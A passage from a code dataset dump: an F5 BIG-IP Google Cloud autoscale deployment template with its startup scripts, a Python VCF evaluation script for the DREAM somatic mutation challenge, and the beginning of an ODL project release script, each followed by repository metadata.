JjOTE5ZmE0OTJjZGEwMTJjODFlM2EyZmU2M2Q3OTY2Y2MzNmJhODY3N2VkMDQ5YTgxNGE5MzA0NzMyMzRmMzAwZDNmOGJjZWQyYjBkYjYzMTc2ZDUyYWM5OTY0MGNlODFiCiAgICAgICAgICAgIHNldCBoYXNoZXMoZjUuY2xvdWRfbG9nZ2VyLnYxLjAuMC50bXBsKSA2NGEwZWQzYjVlMzJhMDM3YmE0ZTcxZDQ2MDM4NWZlOGI1ZTFhZWNjMjdkYzBlODUxNGI1MTE4NjM5NTJlNDE5YTg5ZjRhMmE0MzMyNmFiYjU0M2JiYTliYzM0Mzc2YWZhMTE0Y2VkYTk1MGQyYzNiZDA4ZGFiNzM1ZmY1YWQyMAogICAgICAgICAgICBzZXQgaGFzaGVzKGY1LWFwcHN2Y3MtMy41LjEtNS5ub2FyY2gucnBtKSBiYTcxYzZlMWM1MmQwYzcwNzdjZGIyNWE1ODcwOWI4ZmI3YzM3YjM0NDE4YTgzMzhiYmY2NzY2ODMzOTY3NmQyMDhjMWE0ZmVmNGU1NDcwYzE1MmFhYzg0MDIwYjRjY2I4MDc0Y2UzODdkZTI0YmUzMzk3MTEyNTZjMGZhNzhjOAogICAgICAgICAgICBzZXQgaGFzaGVzKGY1LWFwcHN2Y3MtMy4xOC4wLTQubm9hcmNoLnJwbSkgZTcyZWU4MDA1YTI3MDcwYWMzOTlhYjA5N2U4YWE1MDdhNzJhYWU0NzIxZDc0OTE1ODljZmViODIxZGIzZWY4NmNiYzk3OWU3OTZhYjMxOWVjNzI3YmI1MTQwMGNjZGE4MTNjNGI5ZWI0YTZiM2QxMjIwYTM5NmI1ODJmOGY0MDAKICAgICAgICAgICAgc2V0IGhhc2hlcyhmNS1hcHBzdmNzLTMuMjAuMC0zLm5vYXJjaC5ycG0pIGQ0YmJhODg5MmEyMDY4YmI1M2Y4OGM2MDkwZGM2NWYxNzcwN2FiY2EzNWE3ZWQyZmZmMzk5ODAwNTdmZTdmN2EyZWJmNzEwYWIyMjg0YTFkODNkNzBiNzc0NmJlYWJhZDlkZjYwMzAxN2MwZmQ4NzI4Zjc0NTc2NjFjOTVhYzhkCiAgICAgICAgICAgIHNldCBoYXNoZXMoZjUtYXBwc3Zjcy0zLjI1LjAtMy5ub2FyY2gucnBtKSAyNmYxOWJkYWFhODFjYmUwNDIxYjNlMDhjMDk5ODdmOWRkMGM1NGIwNWE2MjZkNmEyMWE4MzZiMzQyNDhkMmQ5ZDgzMDk1ZjBkYWFkOGU3YTRhMDY4ZTllZjk5Yjg5ZmJjZDI0NmFlOGI2MTdhYzJiMjQ1NjU5OTE1N2QwZThiMwogICAgICAgICAgICBzZXQgaGFzaGVzKGY1LWFwcHN2Y3MtMy4yNi4xLTEubm9hcmNoLnJwbSkgYjQ2MGUxMTY3OWQzOGE5NjU0OWI1MDQxZGVmMjdiNDE5ZjFhNDFjOGY3ODhmOWY4YzdhMDM0YWE1Y2I1YThjOWZkMTUxYzdjNDM5YmViZDA5M2ZjZDg1Y2Q4NjU3ZjFjMDY0NTUxZDkzMzc1NjZmOWZjN2U5NTA2YzU1ZGMwMmMKICAgICAgICAgICAgc2V0IGhhc2hlcyhmNS1hcHBzdmNzLTMuMzEuMC02Lm5vYXJjaC5ycG0pIDY1MDZmZGU1ZDFjMmUwNjc2NjJiNTEzMzg3ZGNjZGEwMjgxZDNiYmM2MDRmYzZkY2Y4ZTU3NDBhZTU2Mzc0ODg5OWY3ZjMzNWUzNDkwMDZmZTNmMGU3NTFjZDcwZDRlZjhiZTM3MDFhZTQ1ZGNhMzA1ZGU2NDlmMjU5ZjA5MGE5CiAgICAgICAgICAgIHNldCBoYXNoZXMoZjUtY2xvdWQtZmFpbG92ZXItMS4xLjAtMC5ub2FyY2gucnBtKSAxNWE0NDBjMjk5ZjllNGFmODZhM2QwZjViMGQ3NWIwMDU0Mzg1Yjk1ZTQ3YzNlZjExNmQyZTBiZmIwMDQxYTI2ZGNiZjU0OTAyOGUyYTI2ZDJjNzE4ZWM2MTQ0NmJkNjU3YmUzOGZiYmNkOWRiNzgxZWZlNTQxNGMxNzRhYzY4YwogICAgICAgICAgICBzZXQgaGFzaGVzKGY1LWNsb3VkLWZhaWxvdmVyLTEuMy4wLTAubm9hcmNoLnJwbSkgMTk2ODFlYjMzZDlmOTEwYzkxM2Y4MTgwMTk5NDg1ZWI2NTNiNGI1ZWJlYWFlMGI5MGE2Y2U4MzQxZDdhMjJmZWQ4ZDIxODE1YjViYTE0OGM0Njg4NTJkMjBjYzI2ZmFkNGM0MjQyZTUwZWNjMTg0ZjFmODc3MGRhY2NlZDZmNmEKICAgICAgICAgICAgc2V0IGhhc2hlcyhmNS1jbG91ZC1mYWlsb3Zlci0xLjQuMC0wLm5vYXJjaC5ycG0pIDQ5ZTkxMDhhMDcwZTBjODcxM2FlYjdiMzMwNjYyMzU4NTQyZTYxYjdjNTNhOWQ0NTEwOGQzN2E5YmY1MjQ2ZjllNGFhYWUxMGNjNjEwNjQ4MDFkY2NjZDIwYmZkNTEwODM0N2IwZjY5NDUxMGU3ZWNlMDdmOTZjNDViYTY4M2IwCiAgICAgICAgICAgIHNldCBoYXNoZXMoZjUtY2xvdWQtZmFpbG92ZXItMS41LjAtMC5ub2FyY2gucnBtKSAzM2E3ZTJkMDQ3MTA2YmNjZTY4MTc1N2E2NTI0MGJmYWNlZGQ0OGUxMzU2N2UwNWZkYjIzYTRiMjY5ZDI2NmFhNTAwMWY4MTE1OGMzOTY0ZGMyOTdmMDQyOGRiMzFjOWRmNDI4MDAyODk4ZDE5MDI4NWIzNDljNTk0MjJhNTczYgogICAgICAgICAgICBzZXQgaGFzaGVzKGY1LWNsb3VkLWZhaWxvdmVyLTEuNi4xLTEubm9hcmNoLnJwbSkgYzFiODQyZGEyMWI4ZDFiYTIxYjZlYjYzYzg1OThhOWVhOTk4NmQ1ZGFkZGMyMWU0ZDI4MGUxZDZiMDlkM2RiMWRlOGFjN2RlNWM4NGVkZjA3YjQzZTRhZjAzZGFmOGZlNzQ3YTQwNDhmNjU3M2Q5NTUyMDYzNTJjZGUyY2VjNjUKICAgICAgICAgICAgc2V0IGhhc2hlcyhmNS1jbG91ZC1mYWlsb3Zlci0xLjcuMS0xLm5vYXJjaC5ycG0pIDE0ZmYwY2QyYmI0OTc4MGNjMGFlMzAyMWM0ZmM4ZmNjMDk2ZTNmY2UyMjU4MDk2YTRhYTAyNmQ2ZDM3ZGU3MjhjYTczNDViZmUzYTc5MDMxZTMzNmU3NGQyNWEyYjQwZmYyODMyNGMyYzc1MmJmMGVlNzFiN2ZjODliNmZjOGZlCiAgICAgICAgICAgIHNldCBoYXNoZXMoZjUtY2xvdWQtZmFpbG92ZXItMS44LjAtMC5ub2FyY2gucnBtKSAyMzA4NmQxY2JmM2NiMjRlYWM3ZWJhMjMwNTE1NmM2MDBmYTIxZjFiODk2MzIxYTJmYTUyMjVkMzMxZDdlNDE0NzFlZGIzZjUzNjgxNDRkODY4NDhhNDUyMGIxZTAwNWMwMTQ0ODVmZjQ1MWU3ZGE2NDI5MDUzZjU4YmZlOGNlNAogICAgICAgICAgICBzZXQgaGFzaGVzKGY1LWNsb3VkLWZhaWxvdmVyLTEuOS4wLTAubm9hcmNoLnJwbSkgMDljMTUzNzczODlhYzE4MzEzMzcwNjM1ZmI5OWY5YWZmMDU5NzA4MDdjYzYwYmZmMDc0ZjgwZjY2NDAyM2NmYzBkOWY1YjdmMmVkN2E4Zjg3OWRlYjJkYTg0YTAzNGJiOWZhOWY0ZTk1Zjk4MDZkNjQ0YWY1MThkYjMyZjE0MjUKCiAgICAgICAgICAgIHNldCBmaWxlX3BhdGggW2xpbmRleCAkdG1zaDo6YXJndiAxXQogICAgICAgICAgICBzZXQgZmlsZV9uYW1lIFtmaWxlIHRhaWwgJGZpbGVfcGF0aF0KCiAgICAgICAgICAgIGlmIHshW2luZm8gZXhpc3RzIGhhc2hlcygkZmlsZV9uYW1lKV19IHsKICAgICAgICAgICAgICAgIHRtc2g6OmxvZyBlcnIgIk5vIGhhc2ggZm91bmQgZm9yICRmaWxlX25hbWUiCiAgICAgICAgICAgICAgICBleGl0IDEKICAgICAgICAgICAgfQoKICAgICAgICAgICAgc2V0IGV4cGVjdGVkX2hhc2ggJGhhc2hlcygkZmlsZV9uYW1lKQogICAgICAgICAgICBzZXQgY29tcHV0ZWRfaGFzaCBbbGluZGV4IFtleGVjIC91c3IvYmluL29wZW5zc2wgZGdzdCAtciAtc2hhNTEyICRmaWxlX3BhdGhdIDBdCiAgICAgICAgICAgIGlmIHsgJGV4cGVjdGVkX2hhc2ggZXEgJGNvbXB1dGVkX2hhc2ggfSB7CiAgICAgICAgICAgICAgICBleGl0IDAKICAgICAgICAgICAgfQogICAgICAgICAgICB0bXNoOjpsb2cgZXJyICJIYXNoIGRvZXMgbm90IG1hdGNoIGZvciAkZmlsZV9wYXRoIgogICAgICAgICAgICBleGl0IDEKICAgICAgICB9XX0gewogICAgICAgICAgICB0bXNoOjpsb2cgZXJyIHtVbmV4cGVjdGVkIGVycm9yIGluIHZlcmlmeUhhc2h9CiAgICAgICAgICAgIGV4aXQgMQogICAgICAgIH0KICAgIH0KICAgIHNjcmlwdC1zaWduYXR1cmUgaWpMY1dkbHdpNG5mdklINC9qUEZKMVk5WGtvZEtWZHVxN0VGV2plV2sweHdmTjVyVkxrQnNodVJPRkpOdG9uV2w1dXYyS1pHMFNUVDhHY0UvRGk5NnVoNlVWakRKQzBnSHdIcUVGa2pkTzNVRXFQd28wOVJRM2xsaVdyb0YzeGFrazlWUTlSdFNBSCtYUXJGNTlNbUFVRGtTT3llVC9DdUY3QXBKNFdFcmNiWnJzeGlhM1RpUkdCZFVXbXowL1hDZlc0L2ZhRUJHVEFUNkFOdzBhTFZxd2tjZ2pxWS9Ld01xWFlITE5VdmtRYm9KQmZtWVVOQXVnM1ozMjlqN1FTZENCbG9wQk9kcG1aM1JxNURPQm15OXpRd2Ewd205MTF6WDEySUpsaUdGUUwwYW1UTSt3ZTFoSENXRFd0ZDVpQ05rd2lldGtzQlhSNkozMWVpZ0M1U2dBPT0KICAgIHNpZ25pbmcta2V5IC9Db21tb24vZjUtaXJ1bGUKfQ==\' | base64 -d > /config/verifyHash', 'cat <<\'EOF\' > /config/waitThenRun.sh', '#!/bin/bash', 'while true; do echo \"waiting for cloud libs install to complete\"', ' if [ -f /config/cloud/cloudLibsReady ]; then', ' break', ' else', ' sleep 10', ' fi', 'done', '\"$@\"', 'EOF', 'cat <<\'EOF\' > /config/cloud/gce/run_autoscale_update.sh', '#!/bin/bash', 'f5-rest-node /config/cloud/gce/node_modules/@f5devcentral/f5-cloud-libs/scripts/autoscale.js --cloud gce --provider-options \'storageBucket:' + storageName + ',mgmtPort:' + str(context.properties['manGuiPort']) + ',serviceAccount:' + context.properties['serviceAccount'] + ',instanceGroup:' + deployment + '-igm\' --host localhost --port 8443 --user cluster_admin --password-url file:///config/cloud/gce/.adminPassword --password-encrypted --device-group autoscale-group --cluster-action update --log-level silly --output /var/log/cloud/google/autoscale.log', 'EOF', 'cat <<\'EOF\' > /config/cloud/gce/run_autoscale_backup.sh', '#!/bin/bash', 'f5-rest-node /config/cloud/gce/node_modules/@f5devcentral/f5-cloud-libs/scripts/autoscale.js --cloud gce --provider-options \'storageBucket:' + storageName + ',mgmtPort:' + str(context.properties['manGuiPort']) + ',serviceAccount:' + context.properties['serviceAccount'] + ',instanceGroup:' + deployment + '-igm\' --host localhost --port 8443 --user cluster_admin --password-url file:///config/cloud/gce/.adminPassword --password-encrypted --device-group autoscale-group --cluster-action backup-ucs --log-level silly --output /var/log/cloud/google/autoscale.log', 'EOF', 'cat <<\'EOF\' > /config/cloud/gce/custom-config.sh', '#!/bin/bash', 'function wait_for_ready {', ' checks=0', ' ready_response=""', ' while [ $checks -lt 120 ] ; do', ' ready_response=$(curl -sku admin:$passwd -w "%{http_code}" -X GET https://localhost:${mgmtGuiPort}/mgmt/shared/appsvcs/info -o /dev/null)', ' if [[ $ready_response == *200 ]]; then', ' echo "AS3 is ready"', ' break', ' else', ' echo "AS3" is not ready: $checks, response: $ready_response', ' let checks=checks+1', ' sleep 5', ' fi', ' done', ' if [[ $ready_response != *200 ]]; then', ' error_exit "$LINENO: AS3 was not installed correctly. Exit."', ' fi', '}', 'date', 'echo "starting custom-config.sh"', 'tmsh save /sys config', 'echo "Attempting to Join or Initiate Autoscale Cluster"', '(crontab -l 2>/dev/null; echo \'*/1 * * * * /config/cloud/gce/run_autoscale_update.sh\') | crontab -', '(crontab -l 2>/dev/null; echo \'59 23 * * * /config/cloud/gce/run_autoscale_backup.sh\') | crontab -', 'f5-rest-node /config/cloud/gce/node_modules/@f5devcentral/f5-cloud-libs/scripts/autoscale.js --cloud gce --provider-options \'storageBucket:' + storageName + ',mgmtPort:' + str(context.properties['manGuiPort']) + ',serviceAccount:' + context.properties['serviceAccount'] + ',instanceGroup:' + deployment + '-igm\' --host localhost --port 8443 --user cluster_admin --password-url file:///config/cloud/gce/.adminPassword --password-encrypted --device-group autoscale-group --block-sync -c join --log-level silly -o /var/log/cloud/google/autoscale.log', 'if [ -f /config/cloud/master ];then', ' if $(jq \'.ucsLoaded\' < /config/cloud/master);then', ' echo "UCS backup loaded from backup folder in storage: ' + storageName + '."', ' else', ' echo "SELF-SELECTED as Primary ... Initiated Autoscale Cluster ... Loading default config"', ' tmsh modify cm device-group autoscale-group asm-sync enabled', ' source /config/cloud/gce/node_modules/@f5devcentral/f5-cloud-libs/scripts/waitForBigip.sh;wait-for-bigip', ' ', ' ### START CUSTOM CONFIGURATION: Policy Name/Policy URL, etc. ', ' applicationDnsName="' + str(context.properties['applicationDnsName']) + '"', ' applicationPort="' + str(context.properties['applicationPort']) + '"', ' asm_policy="/config/cloud/asm-policy-linux-' + context.properties['policyLevel'] + '.xml"', ' manGuiPort="' + str(context.properties['manGuiPort']) + '"', ' passwd=$(f5-rest-node /config/cloud/gce/node_modules/@f5devcentral/f5-cloud-libs/scripts/decryptDataFromFile.js --data-file /config/cloud/gce/.adminPassword)', ' deployed="no"', ' file_loc="/config/cloud/custom_config"', ' url_regex="(http:\/\/|https:\/\/)[a-z0-9]+([\-\.]{1}[a-z0-9]+)*\.[a-z]{2,5}(:[0-9]{1,5})?(\/.*)?$"', ' if [[ ' + str(context.properties['declarationUrl']) + ' =~ $url_regex ]]; then', ' response_code=$(/usr/bin/curl -sk -w "%{http_code}" ' + str(context.properties['declarationUrl']) + ' -o $file_loc)', ' if [[ $response_code == 200 ]]; then', ' echo "Custom config download complete; checking for valid JSON."', ' cat $file_loc | jq .class', ' if [[ $? == 0 ]]; then', ' wait_for_ready', ' response_code=$(/usr/bin/curl -skvvu cluster_admin:$passwd -w "%{http_code}" -X POST -H "Content-Type: application/json" -H "Expect:" https://localhost:${manGuiPort}/mgmt/shared/appsvcs/declare -d @$file_loc -o /dev/null)', ' if [[ $response_code == *200 || $response_code == *502 ]]; then', ' echo "Deployment of custom application succeeded."', ' deployed="yes"', ' else', ' echo "Failed to deploy custom application; continuing..."', ' fi', ' else', ' echo "Custom config was not valid JSON, continuing..."', ' fi', ' else', ' echo "Failed to download custom config; continuing..."', ' fi', ' else', ' echo "Custom config was not a URL, continuing..."', ' fi', ' if [[ $deployed == "no" && ' + str(context.properties['declarationUrl']) + ' == "default" ]]; then', ' payload=\'{"class":"ADC","schemaVersion":"3.0.0","label":"autoscale_waf","id":"AUTOSCALE_WAF","remark":"Autoscale WAF","waf":{"class":"Tenant","Shared":{"class":"Application","template":"shared","serviceAddress":{"class":"Service_Address","virtualAddress":"0.0.0.0"},"policyWAF":{"class":"WAF_Policy","file":"/tmp/as30-linux-medium.xml"}},"http":{"class":"Application","template":"http","serviceMain":{"class":"Service_HTTP","virtualAddresses":[{"use":"/waf/Shared/serviceAddress"}],"snat":"auto","securityLogProfiles":[{"bigip":"/Common/Log illegal requests"}],"pool":"pool","policyWAF":{"use":"/waf/Shared/policyWAF"}},"pool":{"class":"Pool","monitors":["http"],"members":[{"autoPopulate":true,"hostname":"demo.example.com","servicePort":80,"addressDiscovery":"gce","updateInterval":15,"tagKey":"applicationPoolTagKey","tagValue":"applicationPoolTagValue","addressRealm":"private","region":""}]}}}}\'', ' payload=$(echo $payload | jq -c --arg asm_policy $asm_policy --arg pool_http_port $applicationPort --arg vs_http_port $applicationPort \'.waf.Shared.policyWAF.file = $asm_policy | .waf.http.pool.members[0].servicePort = ($pool_http_port | tonumber) | .waf.http.serviceMain.virtualPort = ($vs_http_port | tonumber)\')', ' payload=$(echo $payload | jq -c \'del(.waf.http.pool.members[0].updateInterval) | del(.waf.http.pool.members[0].tagKey) | del(.waf.http.pool.members[0].tagValue) | del(.waf.http.pool.members[0].addressRealm) | del(.waf.http.pool.members[0].region)\')', ' payload=$(echo $payload | jq -c --arg pool_member $applicationDnsName \'.waf.http.pool.members[0].hostname = $pool_member | .waf.http.pool.members[0].addressDiscovery = "fqdn"\')', ' response_code=$(/usr/bin/curl -skvvu cluster_admin:$passwd -w "%{http_code}" -X POST -H "Content-Type: application/json" -H "Expect:" https://localhost:${manGuiPort}/mgmt/shared/appsvcs/declare -d "$payload" -o /dev/null)', ' if [[ $response_code == 200 || $response_code == 502 ]]; then', ' echo "Deployment of application succeeded."', ' else', ' echo "Failed to deploy application"', ' exit 1', ' fi', ' fi', ' ### END CUSTOM CONFIGURATION', ' tmsh save /sys config', ' bigstart restart restnoded', ' f5-rest-node /config/cloud/gce/node_modules/@f5devcentral/f5-cloud-libs/scripts/autoscale.js --cloud gce --provider-options \'storageBucket:' + storageName + ',mgmtPort:' + str(context.properties['manGuiPort']) + ',serviceAccount:' + context.properties['serviceAccount'] + ',instanceGroup:' + deployment + '-igm\' --host localhost --port 8443 --user cluster_admin --password-url file:///config/cloud/gce/.adminPassword --password-encrypted -c unblock-sync --log-level silly --output /var/log/cloud/google/autoscale.log', ' fi', 'fi', 'tmsh save /sys config', 'date', 'echo "custom-config.sh complete"', 'EOF', 'cat <<\'EOF\' > /config/cloud/gce/rm-password.sh', '#!/bin/bash', 'date', 'echo \'starting rm-password.sh\'', 'rm /config/cloud/gce/.adminPassword', 'date', 'EOF', 'checks=0', 'while [ $checks -lt 12 ]; do echo checking downloads directory', ' if [ -d "/var/config/rest/downloads" ]; then', ' echo downloads directory ready', ' break', ' fi', ' echo downloads directory not ready yet', ' let checks=checks+1', ' sleep 10', 'done', 'if [ ! -d "/var/config/rest/downloads" ]; then', ' mkdir -p /var/config/rest/downloads', 'fi', 'curl -s -f --retry 20 -o /config/cloud/f5-cloud-libs.tar.gz https://cdn.f5.com/product/cloudsolutions/f5-cloud-libs/v4.26.5/f5-cloud-libs.tar.gz', 'curl -s -f --retry 20 -o /config/cloud/f5-cloud-libs-gce.tar.gz https://cdn.f5.com/product/cloudsolutions/f5-cloud-libs-gce/v2.9.1/f5-cloud-libs-gce.tar.gz', 'curl -s -f --retry 20 -o /var/config/rest/downloads/f5-appsvcs-3.31.0-6.noarch.rpm https://cdn.f5.com/product/cloudsolutions/f5-appsvcs-extension/v3.31.0/f5-appsvcs-3.31.0-6.noarch.rpm', 'curl -s -f --retry 20 -o /config/cloud/asm-policy-linux.tar.gz http://cdn.f5.com/product/cloudsolutions/solution-scripts/asm-policy-linux.tar.gz', 'chmod 755 /config/verifyHash', 'chmod 755 /config/installCloudLibs.sh', 'chmod 755 /config/waitThenRun.sh', 'chmod 755 /config/cloud/gce/custom-config.sh', 'chmod 755 /config/cloud/gce/rm-password.sh', 'chmod 755 /config/cloud/gce/run_autoscale_update.sh', 'chmod 755 /config/cloud/gce/run_autoscale_backup.sh', 'mkdir -p /var/log/cloud/google', 'nohup /config/installCloudLibs.sh &>> /var/log/cloud/google/install.log < /dev/null &', 'nohup /config/waitThenRun.sh f5-rest-node /config/cloud/gce/node_modules/@f5devcentral/f5-cloud-libs/scripts/runScript.js --signal PASSWORD_CREATED --file f5-rest-node --cl-args \'/config/cloud/gce/node_modules/@f5devcentral/f5-cloud-libs/scripts/generatePassword --file /config/cloud/gce/.adminPassword --encrypt\' --log-level silly -o /var/log/cloud/google/generatePassword.log &>> /var/log/cloud/google/install.log < /dev/null &', 'nohup /config/waitThenRun.sh f5-rest-node /config/cloud/gce/node_modules/@f5devcentral/f5-cloud-libs/scripts/runScript.js --wait-for PASSWORD_CREATED --signal ADMIN_CREATED --file /config/cloud/gce/node_modules/@f5devcentral/f5-cloud-libs/scripts/createUser.sh --cl-args \'--user cluster_admin --password-file /config/cloud/gce/.adminPassword --password-encrypted\' --log-level silly -o /var/log/cloud/google/createUser.log &>> /var/log/cloud/google/install.log < /dev/null &', CUSTHASH, 'nohup /config/waitThenRun.sh f5-rest-node /config/cloud/gce/node_modules/@f5devcentral/f5-cloud-libs/scripts/onboard.js --port 8443 --ssl-port ' + str(context.properties['manGuiPort']) + ' --wait-for ADMIN_CREATED -o /var/log/cloud/google/onboard.log --log-level silly --no-reboot --install-ilx-package file:///var/config/rest/downloads/f5-appsvcs-3.31.0-6.noarch.rpm --host localhost --user cluster_admin --password-url file:///config/cloud/gce/.adminPassword --password-encrypted --hostname $(curl http://metadata.google.internal/computeMetadata/v1/instance/hostname -H "Metadata-Flavor: Google") --ntp 0.us.pool.ntp.org --ntp 1.us.pool.ntp.org --tz UTC ' + '--modules ' + PROVISIONING_MODULES + ' --db provision.1nicautoconfig:disable' + SENDANALYTICS + ' &>> /var/log/cloud/google/install.log < /dev/null &', 'nohup /config/waitThenRun.sh f5-rest-node /config/cloud/gce/node_modules/@f5devcentral/f5-cloud-libs/scripts/runScript.js --file /config/cloud/gce/custom-config.sh --cwd /config/cloud/gce -o /var/log/cloud/google/custom-config.log --log-level silly --wait-for ONBOARD_DONE --signal CUSTOM_CONFIG_DONE &>> /var/log/cloud/google/install.log < /dev/null &', 'touch /config/startupFinished', ]) ) }] } return metadata def GenerateConfig(context): # set variables import random ## set variables storageNumber = str(random.randint(10000, 99999)) storageName = 'f5-bigip-' + context.env['deployment'] + '-' + storageNumber deployment = context.env['deployment'] # build resources resources = [ Storage(context,storageName), Instance(context,storageName,deployment), Igm(context,deployment), Autoscaler(context,deployment), HealthCheck(context,deployment), TargetPool(context,deployment), ForwardingRule(context,deployment), FirewallRuleSync(context), FirewallRuleApp(context), FirewallRuleMgmt(context), ] return {'resources': resources}
93.405034
10,149
0.601009
795952a45e4f03c3ab795841c75f987107ff5f65
6,794
py
Python
dream_evaluator.py
danvk/concordance
9e30df2a27b3344256a53737f5ab92e7b5ade34f
[ "Apache-2.0" ]
2
2015-02-01T23:58:56.000Z
2015-04-22T00:34:45.000Z
dream_evaluator.py
danvk/concordance
9e30df2a27b3344256a53737f5ab92e7b5ade34f
[ "Apache-2.0" ]
null
null
null
dream_evaluator.py
danvk/concordance
9e30df2a27b3344256a53737f5ab92e7b5ade34f
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python import sys, os import vcf import argparse ''' Submission evaluation code for TCGA/ICGC/DREAM SMC Adam Ewing, ewingad@soe.ucsc.edu Requires PyVCF (https://github.com/jamescasbon/PyVCF) ''' def match(subrec, trurec, vtype='SNV'): assert vtype in ('SNV', 'SV', 'INDEL') if vtype == 'SNV' and subrec.is_snp and trurec.is_snp: if subrec.POS == trurec.POS and subrec.REF == trurec.REF and subrec.ALT == trurec.ALT: return True if vtype == 'INDEL' and subrec.is_indel and trurec.is_indel: if subrec.POS == trurec.POS and subrec.REF == trurec.REF and subrec.ALT == trurec.ALT: return True if vtype == 'SV' and subrec.is_sv and trurec.is_sv: trustart, truend = expand_sv_ends(trurec) substart, subend = expand_sv_ends(subrec) # check for overlap if min(truend, subend) - max(trustart, substart) > 0: return True return False def expand_sv_ends(rec): ''' assign start and end positions to SV calls using conf. intervals if present ''' startpos, endpos = rec.start, rec.end assert rec.is_sv try: endpos = int(rec.INFO.get('END')[0]) if rec.INFO.get('CIPOS'): ci = map(int, rec.INFO.get('CIPOS')) if ci[0] < 0: startpos += ci[0] if rec.INFO.get('CIEND'): ci = map(int, rec.INFO.get('CIEND')) if ci[0] > 0: endpos += ci[0] except TypeError as e: sys.stderr.write("error expanding sv interval: " + str(e) + " for record: " + str(rec) + "\n") if startpos > endpos: endpos, startpos = startpos, endpos return startpos, endpos def relevant(rec, vtype, ignorechroms): ''' Return true if a record matches the type of variant being investigated ''' rel = (rec.is_snp and vtype == 'SNV') or (rec.is_sv and vtype == 'SV') or (rec.is_indel and vtype == 'INDEL') return rel and (ignorechroms is None or rec.CHROM not in ignorechroms) def passfilter(rec, disabled=False): ''' Return true if a record is unfiltered or has 'PASS' in the filter field (pyvcf sets FILTER to None) ''' if disabled: return True if rec.FILTER is None or rec.FILTER == '.' or not rec.FILTER: return True return False def svmask(rec, vcfh, truchroms): ''' mask snv calls in sv regions ''' if rec.is_snp and rec.CHROM in truchroms: for overlap_rec in vcfh.fetch(rec.CHROM, rec.POS-1, rec.POS): if overlap_rec.is_sv: return True return False def evaluate(submission, truth, vtype='SNV', ignorechroms=None, ignorepass=False, printfp=False): ''' return stats on sensitivity, specificity, balanced accuracy ''' assert vtype in ('SNV', 'SV', 'INDEL') subvcfh = vcf.Reader(filename=submission) truvcfh = vcf.Reader(filename=truth) tpcount = 0 fpcount = 0 subrecs = 0 trurecs = 0 truchroms = {} ''' count records in truth vcf, track contigs/chromosomes ''' for trurec in truvcfh: if relevant(trurec, vtype, ignorechroms): trurecs += 1 truchroms[trurec.CHROM] = True used_truth = {} # keep track of 'truth' sites used, they should only be usable once ''' parse submission vcf, compare to truth ''' for subrec in subvcfh: if passfilter(subrec, disabled=ignorepass): if subrec.is_snp and vtype == 'SNV': if not svmask(subrec, truvcfh, truchroms): subrecs += 1 if subrec.is_sv and vtype == 'SV': subrecs += 1 if subrec.is_indel and vtype == 'INDEL': subrecs += 1 matched = False startpos, endpos = subrec.start, subrec.end if vtype == 'SV' and subrec.is_sv: startpos, endpos = expand_sv_ends(subrec) try: if relevant(subrec, vtype, ignorechroms) and passfilter(subrec, disabled=ignorepass) and subrec.CHROM in truchroms: for trurec in truvcfh.fetch(subrec.CHROM, startpos, end=endpos): if match(subrec, trurec, vtype=vtype) and str(trurec) not in used_truth: matched = True used_truth[str(trurec)] = True except ValueError as e: sys.stderr.write("Warning: " + str(e) + "\n") if matched: tpcount += 1 else: if relevant(subrec, vtype, ignorechroms) and passfilter(subrec, disabled=ignorepass) and not svmask(subrec, truvcfh, truchroms): fpcount += 1 # FP counting method needs to change for real tumors if printfp: print "FP:", subrec recall = float(tpcount) / float(trurecs) precision = float(tpcount) / float(tpcount + fpcount) fdr = 1.0 - float(fpcount) / float(subrecs) f1score = 0.0 if tpcount == 0 else 2.0*(precision*recall)/(precision+recall) return {'precision': precision, 'recall': recall, 'f1score': f1score} def main(args): chromlist = None if args.chromlist is not None: chromlist = args.chromlist.split(',') if not args.subvcf.endswith('.vcf') and not args.subvcf.endswith('.vcf.gz'): sys.stderr.write("submission VCF filename does not end in .vcf or .vcf.gz\n") sys.exit(1) if not os.path.exists(args.truvcf + '.tbi'): sys.stderr.write("truth VCF does not appear to be indexed. bgzip + tabix index required.\n") sys.exit(1) if args.mutype not in ('SV', 'SNV', 'INDEL'): sys.stderr.write("-m/--mutype must be either SV, SNV, or INDEL\n") sys.exit(1) result = evaluate(args.subvcf, args.truvcf, vtype=args.mutype, ignorechroms=chromlist, ignorepass=args.nonpass, printfp=args.printfp) print "precision, recall, F1 score: " + ','.join(map(str, result)) if __name__ == '__main__': parser = argparse.ArgumentParser(description="check vcf output against a 'truth' vcf") parser.add_argument('-v', '--vcf', dest='subvcf', required=True, help="VCF being submitted for evaluation") parser.add_argument('-t', '--truth', dest='truvcf', required=True, help="'Truth' VCF containing true positives") parser.add_argument('-m', '--mutype', dest='mutype', required=True, help="Mutation type: must be either SNV, SV, or INDEL") parser.add_argument('--ignore', dest='chromlist', default=None, help="(optional) comma-seperated list of chromosomes to ignore") parser.add_argument('--nonpass', dest='nonpass', action="store_true", help="evaluate all records (not just PASS records) in VCF") parser.add_argument('--printfp', dest='printfp', action="store_true", help="output false positive positions") args = parser.parse_args() main(args)
36.724324
140
0.621578
795952c233339aa0ee9567310247fd9a0a0315ec
8,272
py
Python
release.py
mitodl/release-script
615fbabac46a7a3c6ffb62a1cefe20c6df6dbd7b
[ "BSD-3-Clause" ]
15
2017-02-20T22:07:23.000Z
2020-10-10T15:39:46.000Z
release.py
mitodl/release-script
615fbabac46a7a3c6ffb62a1cefe20c6df6dbd7b
[ "BSD-3-Clause" ]
311
2016-02-11T17:09:33.000Z
2022-01-20T19:07:54.000Z
release.py
mitodl/release-script
615fbabac46a7a3c6ffb62a1cefe20c6df6dbd7b
[ "BSD-3-Clause" ]
7
2017-03-20T03:52:46.000Z
2020-05-16T05:52:16.000Z
#!/usr/bin/env python3 """Release script for ODL projects""" import re import os from subprocess import CalledProcessError from pkg_resources import parse_version from async_subprocess import ( call, check_call, check_output, ) from constants import ( GIT_RELEASE_NOTES_PATH, SCRIPT_DIR, YARN_PATH, ) from exception import ( DependencyException, ReleaseException, ) from github import create_pr from lib import ( get_default_branch, init_working_dir, ) from version import update_version async def dependency_exists(command): """Returns true if a command exists on the system""" return await call(["which", command], cwd="/") == 0 async def validate_dependencies(): """Error if a dependency is missing or invalid""" if not await dependency_exists("git"): raise DependencyException("Please install git https://git-scm.com/downloads") if not await dependency_exists("node"): raise DependencyException("Please install node.js https://nodejs.org/") if not await dependency_exists( GIT_RELEASE_NOTES_PATH ) or not await dependency_exists(YARN_PATH): raise DependencyException("Please run 'npm install' first") version_output = await check_output(["node", "--version"], cwd="/") version = version_output.decode() major_version = 